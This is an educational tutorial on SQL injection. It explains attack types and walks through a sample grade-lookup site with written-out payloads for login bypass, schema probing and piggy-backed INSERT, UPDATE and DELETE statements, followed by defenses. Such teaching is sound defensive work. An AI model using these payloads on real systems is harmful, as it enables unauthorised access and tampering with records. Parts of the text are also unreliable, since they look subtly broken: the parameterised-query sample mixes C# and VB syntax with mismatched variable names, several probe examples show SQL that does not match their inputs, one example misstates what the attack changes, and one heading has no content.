SQL Injection

What is SQL Injection?

• "SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application." (Wikipedia)
• "An attack technique used to exploit web sites by altering backend SQL statements through manipulating application input." (WASC)
• SQL Injection refers to a scenario in which incorrectly validated or non-validated string literals are concatenated into a dynamic SQL statement and interpreted as code by the SQL engine.
• The three root causes of SQL injection vulnerabilities are the combining of data and code in dynamic SQL statement, error revealation, and the insufficient input validation.
• No particular DBMS is more secure than another against these exploits, because the vulnerability is introduced in the SQL queries and their supporting programmatic interface, not the application development packages such as ASP, PHP, Perl, or any others.
• As awareness of web application security has evolved, SQL injection vulnerabilities have become gradually less widespread and more difficult to detect and exploit. As this trend has developed, methods for finding and exploiting SQL injection flaws have evolved, using more subtle indicators of vulnerabilities, and more refined and powerful exploitation techniques.

String Literals

• A string literal is the representation of a string value within the source code of a computer language.
• Each language has its own way of dealing with string literals.
• In Web applications, there are three different styles of string literal: the client-side javascript style, the server-side script style, and the database query (i.e., SQL) style.
• In SQL statements, a string literal is a group of characters surrounded by quotes. For example:

strSQL="UPDATE students SET usename='John Doe' WHERE studentid=" & cstr(student_id)

Common SQL Characters for Probing Injection Vulnerabilities

Types of SQL Injection Attacks

• First-order Injection: The attackers inject SQL statements by providing crafted user input via HTTP GET or POST, cookies, or a collection of server variables that contain HTTP, network headers, and other environmental parameters. For example, the UNIONS command is added to an existing statement to execute a second statement, a subquery is added to an existing statement, or an query condition such as "OR 1=1" is added to bring back all the data from a table.
• Second-order injection: The attackers inject SQL statements into persistent storage (such as a table record) which is considered as a trusted source but would indirectly trigger an attack when that input is used at a later time. For example, an attacker registers on a website by using a seeded user name, such as "'admin' -- ". Assume that the Web application failed to validate the input before storing it in the database. The attacker later modifies his or her password by using the following SQL statement:
  

  UPDATE tblname SET password = '" + newPassword + "' WHERE username = '" + userName + "' AND password = '" + oldPassword + "'"

  In this case the name of the attacker currently logged-in is ''admin'--'", and the above SQL statement will then be read as:
  

  UPDATE users SET password='newpassword' WHERE userName= 'admin'--' AND password='oldpassword'
  

  Since the "--"is the SQL comment operator, everything after it will be ignored by the SQL engine. Consequently, the attacker's SQL statement will change the administrator's username ("admin") to an attacker-specified value.

• Illegal/Logically Incorrect Queries: An attacker gathers important information about the type and structure of the back-end database of a Web application by injecting illegal or logically incorrect SQL syntax which will make the application return default error pages that often reveal vulnerable/injectable parameters to the attacker. This attack is considered as a preliminary, information-gathering step for other SQL injection attacks. For example:
  

  Probing column name
  Input (username): 'ddd"
  Sql: SELECT * FROM students WHERE username = 'ddd"' AND password =
  Result:"Incorrect syntax near 'ddd'. Unclosed quotation mark after the character string '' AND Password='aaa''."

• Tautologies: An attacker injects a query that always evaluates to true for entries in the database to bypass authentication, identify injectable parameters, or extract data. For example:
  

  Username known
  Input (username): jdoe' or '1'='1--
  Sql: SELECT * FROM students WHERE username = 'jdoe' or '1'='1' -- AND password =
  Result: All students are retrieved.

  Both username and password not known
  Input (username): ' or '' = '
  Input (password): ' or '' = '
  Sql: select * from students where username = '' or '' = '' and password = '' or '' = ''
  Result: All students are retrieved.

• Union Query: An attacker injects an UNION SELECT to trick the application into returning data from a table different from the one that was intended. Here is a common form using a single quote for this attack:
  

  normal SQL statement + "semi-colon" + UNION SELECT <rest of injected query>.

• PiggyBacked Queries: An attacker injects additional queries into the original query to extract data, add or modify data, perform denial of service, or execute remote commands. In this scenario, the attacker does not intend to modify the original intended query but to include new queries that piggy-back on the original query. As a result, the DBMS receives multiple SQL queries. The first is the normal query which is executed normally, while the subsequent ones are executed to satisfy the attack. Here is a common form using a query delimiter (;) for this attack:
  

  normal SQL statement + ";" + INSERT (or UPDATE, DELETE, DROP) <rest of injected query>

• Stored Procedures: When a normal SQL statement (i.e., SELECT) is created as a stored procedure, an attacker can inject another stored procedure as a replacement for a normal stored procedure to performing privilege escalation, create denial of service, or execute remote commands. Here is a common form using a query delimiter (;) and the "SHUTDOWN" store procedure for this attack:
  

  normal SQL statement + "; SHUTDOWN; " <rest of injected query>

Illustration

Many applications that implement a forms-based login function use a database to store user credentials and perform a simple SQL query to validate each login attempt. For example, the Grade Central site authenticates student's username and password. If the login succeeds, grades will be displayed; if not, the message "Login failed: Invalid credentials" will be returned.

• Illegal/Logically Incorrect Queries: Gather important information about the type and structure of the back-end database of the Grade Central website.

Probing column name (try 1 of 3)
Input (username): 'ddd" 
Input (password): aaa
Sql: SELECT * FROM students WHERE username = 'ddd"' AND password =
Result:"Incorrect syntax near 'ddd'. Unclosed quotation mark after the character string '' AND Password='aaa''."

Probing table and/or column name (try 2 of 3)
Input (username): ddd' group by (password)--
Sql: SELECT * FROM students WHERE username = 'ddd' group by (password)-- ...
Result: "Column 'Students.studentId' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause."

Probing table and/or column name (try 3 of 3)
Input (username): ddd' group by (studentid)--
Sql: SELECT * FROM students WHERE studentid = 'ddd' group by (studentid) -- ...
Result: "Column 'Students.username is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause."

Probing the number of columns in a table (try 1 of 3)
Input (username): studentid=ddd' union select username from students --
Sql: SELECT * FROM students WHERE studentid = 'ddd' union select username from students -- ...
Result: "All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists."

Probing the number of columns in a table (try 2 of 3)
Input (username): studentid=ddd' union select username,password from students --
Sql: SELECT * FROM students WHERE studentid = 'ddd' union select username,username from students -- ...
Result: "All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists."

Probing the number of columns in a table (try 3 of 3)
Input (username): studentid=ddd' union select username,password,studentid  from students --
Sql: SELECT * FROM students WHERE studentid = 'ddd' union select username,username,username from students -- ...
Result: "Login failed: Invalid credentials"

Probing data type (try 1 of 3)
Input (username): studentid=ddd' compute sum(username)--
Sql: SELECT * FROM students WHERE username = 'ddd' studentid=ddd' compute sum(username)-- ...
Result: "Operand data type varchar is invalid for sum operator."

Probing data type (try 2 of 3)
Input (username): studentid=ddd' compute sum(password)--
Sql: studentid=ddd' union select sum(username) from students-- ...
Result: "Operand data type varchar is invalid for sum operator."

Probing data type (try 3 of 3)
Input (username): studentid=ddd' compute sum(studentid)--
Sql: SELECT * FROM students WHERE username = 'ddd' compute sum(studentid)-- ...
Result:"Login failed: Invalid credentials"

• Tautologies: An attacker injects queries that always evaluates to true to the Grade Central site to bypass authentication and retrieve grades.

Retrieving all grades when "username" known
Input (username): test1' or '1'='1'--
Sql: SELECT * FROM students WHERE username = 'test1' or '1'='1' -- AND password =
Result: All grades are retrieved.

Retrieving all grades when both "username" and "password" not known
Input (username): ' or ' ' = '
Input (password): ' or ' ' = '
Sql: select * from students where username = ' '  or ' ' = ' ' and password = ' '  or ' ' = ' '
Result: All grades are retrieved.

• PiggyBacked Queries: An attacker injects additional queries into the original query used by the Grade Central site to add, modify, or delete student accounts.

Add a new student account
'or 1=1; SET IDENTITY_INSERT Students ON INSERT INTO Students (StudentID, Username, Password) VALUES (attacker studentid, 'attacker username','attacker password');--

Modify existing student grades
'or 1=1; UPDATE Grades SET grade='attacker grade' WHERE studentId=attacker studentid;--

Delete existing student grades
'or 1=1; DELETE FROM Grades WHERE course='attacker class' AND studentId=attacker studentid;--

Defense

• Reduce the attack surface: Ensure that all excess database privileges are revoked and that only those routines that are intended for end-user access are exposed.
• Avoid dynamic SQL with concatenated input: Unless there are elements of the SQL statement that cannot be determined at design time, use compile-time-fixed (cannot be changed at run time or revealed from the source code) or static SQL statements. With ASP.net, use a command object and pass all parameters in using a Parameter object for each value as shown below:
  

  private void UseCommandObject()
  {
  Dim strSQL as String sql
  Dim SqlCommand As OleDbCommand
  cmdSQL = New SQLDbCommand()
  strSQL = "SELECT * FROM tblUSER "
  sql += " WHERE USERId = @UserId"
  cmdSQL.CommandText = strSQL
  cmdSQL.Parameters.Add(new SqlParameter("@UserId","Test"));
  cmdSQL.Connection = new SqlConnection("Server=Localhost;Database=Northwind; +
  Integrated Security=Yes")
  cmdSQL.ExecuteNonQuery()
  }

  Note: Are parameterized queries or PDO prepared statements enough to prevent Sql injections? Some say yes, while some say no. In any case, if the input is not being stored or cycled down the pipeline, then the parameterized queries are generally sufficient; otherwise, always sanitize the input.
  
  
• Filter and sanitize input: Fundamental data validation (whitelist or blacklist).
• Strengthen database security: Employ built-in security features of DBMS.
• Use different login ids: Use one ID for SELECT statements and another for UPDATE or DELETE. 
• No client-side error messages: Employ proper error handling.
• Use store procedures:
  

  CREATE PROCEDURE GetStudents @StudentID INT
  AS
  SELECT * FROM dbo.Students WHERE StudentID = @StudentID
  GO GRANT EXECUTE ON GetStudents TO Grades GO
  

  
  Using command = New SqlCommand("GetStudents", conn)
  command.CommandType = CommandType.StoredProcedure
  command.Parameters.Add("@StudentID", SqlDbType.Int).Value = StudentID
  command.Connection.Open()
  

• Use bind variables: Parameterize queries by using bind variables to eliminate the possibility of SQL injections and enhance performance.
• Database encryption: Encrypt part or all the data stored.

References

• Halfond, W. G., Viegas, J., and Orso, A. A Classification of SQL-Injection Attacks and Countermeasures. In SSSE (2006).
• D. Litchfield. Web Application Disassembly with ODBC Error Messages. Technical document, @Stake, Inc., 2002.